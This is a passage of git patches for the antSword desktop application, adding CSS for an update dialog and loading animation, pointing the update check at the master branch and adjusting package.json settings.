`); + toastr.success(LANG['message']['success'], LANG_T['success']); + setTimeout(() => { + antSword['ipcRenderer'].send('quit'); + }, 1024 * 3); } } diff --git a/static/css/index.css b/static/css/index.css index e2681a18..f0bc45a7 100644 --- a/static/css/index.css +++ b/static/css/index.css @@ -21,4 +21,146 @@ html, body, #container, #loading { width: auto !important; padding: 0 5px; background-color: #666 !important; -} \ No newline at end of file +} + +/*update*/ +.ant-update { + font-family: sans-serif; + font-size: 14px; +} +.ant-update > .layui-layer-content { + padding: 10px 10px; + min-width: 300px; +} +.ant-update > .layui-layer-content > h3 { + margin: 0; +} +.ant-update > .layui-layer-content > ol { + color: #666; +} +.update-icon { + font-size: 100px; + text-align: center; +} + +/*update-loading*/ + +@-webkit-keyframes rotate_pacman_half_up { + 0% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); } + + 50% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); } + + 100% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); } } + +@keyframes rotate_pacman_half_up { + 0% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); } + + 50% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); } + + 100% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); } } + +@-webkit-keyframes rotate_pacman_half_down { + 0% { + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } + + 50% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); } + + 100% { + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } } + +@keyframes rotate_pacman_half_down { + 0% { + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } + + 50% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); } + + 100% { + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } } + +@-webkit-keyframes pacman-balls { + 75% { + opacity: 0.7; } + + 100% { + -webkit-transform: translate(-100px, -6.25px); + transform: translate(-100px, -6.25px); } } + +@keyframes pacman-balls { + 75% { + opacity: 0.7; } + + 100% { + -webkit-transform: translate(-100px, -6.25px); + transform: translate(-100px, -6.25px); } } + +.pacman { + position: relative; + margin-left: 30%; +} +.pacman > div:nth-child(2) { + -webkit-animation: pacman-balls 1s 0s infinite linear; + animation: pacman-balls 1s 0s infinite linear; } +.pacman > div:nth-child(3) { + -webkit-animation: pacman-balls 1s 0.33s infinite linear; + animation: pacman-balls 1s 0.33s infinite linear; } +.pacman > div:nth-child(4) { + -webkit-animation: pacman-balls 1s 0.66s infinite linear; + animation: pacman-balls 1s 0.66s infinite linear; } +.pacman > div:nth-child(5) { + -webkit-animation: pacman-balls 1s 0.99s infinite linear; + animation: pacman-balls 1s 0.99s infinite linear; } +.pacman > div:first-of-type { + width: 0px; + height: 0px; + border-right: 25px solid transparent; + border-top: 25px solid #666; + border-left: 25px solid #666; + border-bottom: 25px solid #666; + border-radius: 25px; + -webkit-animation: rotate_pacman_half_up 0.5s 0s infinite; + animation: rotate_pacman_half_up 0.5s 0s infinite; } +.pacman > div:nth-child(2) { + width: 0px; + height: 0px; + border-right: 25px solid transparent; + border-top: 25px solid #666; + border-left: 25px solid #666; + border-bottom: 25px solid #666; + border-radius: 25px; + -webkit-animation: rotate_pacman_half_down 0.5s 0s infinite; + animation: rotate_pacman_half_down 0.5s 0s infinite; + margin-top: -50px; } +.pacman > div:nth-child(3), .pacman > div:nth-child(4), .pacman > div:nth-child(5), .pacman > div:nth-child(6) { + background-color: #666; + width: 15px; + height: 15px; + border-radius: 100%; + margin: 2px; + width: 10px; + height: 10px; + position: absolute; + -webkit-transform: translate(0, -6.25px); + -ms-transform: translate(0, -6.25px); + transform: translate(0, -6.25px); + top: 25px; + left: 100px; } \ No newline at end of file From f31ec40c75ae0c427807e299b1b2a9fa27ccf206 Mon Sep 17 00:00:00 2001 From: antoor Date: Tue, 29 Mar 2016 23:51:11 +0800 Subject: [PATCH 16/16] Fixed update link and some infomations --- modules/update.js | 2 +- package.json | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/update.js b/modules/update.js index ae4a2c29..b9691b64 100644 --- a/modules/update.js +++ b/modules/update.js @@ -54,7 +54,7 @@ class Update { check(localVer, callback) { logger.debug('check', localVer); superagent - .get('https://raw.githubusercontent.com/antoor/antSword/v1.1-dev/package.json') + .get('https://raw.githubusercontent.com/antoor/antSword/master/package.json') .timeout(9527) .end((err, res) => { if (err) { return callback(false, err.toString()) }; diff --git a/package.json b/package.json index acbad437..2bbb32e3 100644 --- a/package.json +++ b/package.json @@ -8,7 +8,7 @@ "babel-loader": "^6.2.4", "babel-preset-es2015": "^6.6.0", "babel-preset-stage-0": "^6.5.0", - "electron-prebuilt": "^0.37.3", + "electron-prebuilt": "^0.37.2", "extract-zip": "^1.5.0", "iconv-lite": "^0.4.13", "lib-qqwry": "^0.0.5", @@ -29,7 +29,7 @@ "type": "git", "url": "https://github.com/antoor/antSword" }, - "debug": false, + "debug": true, "update": { "md5": "", "logs": "",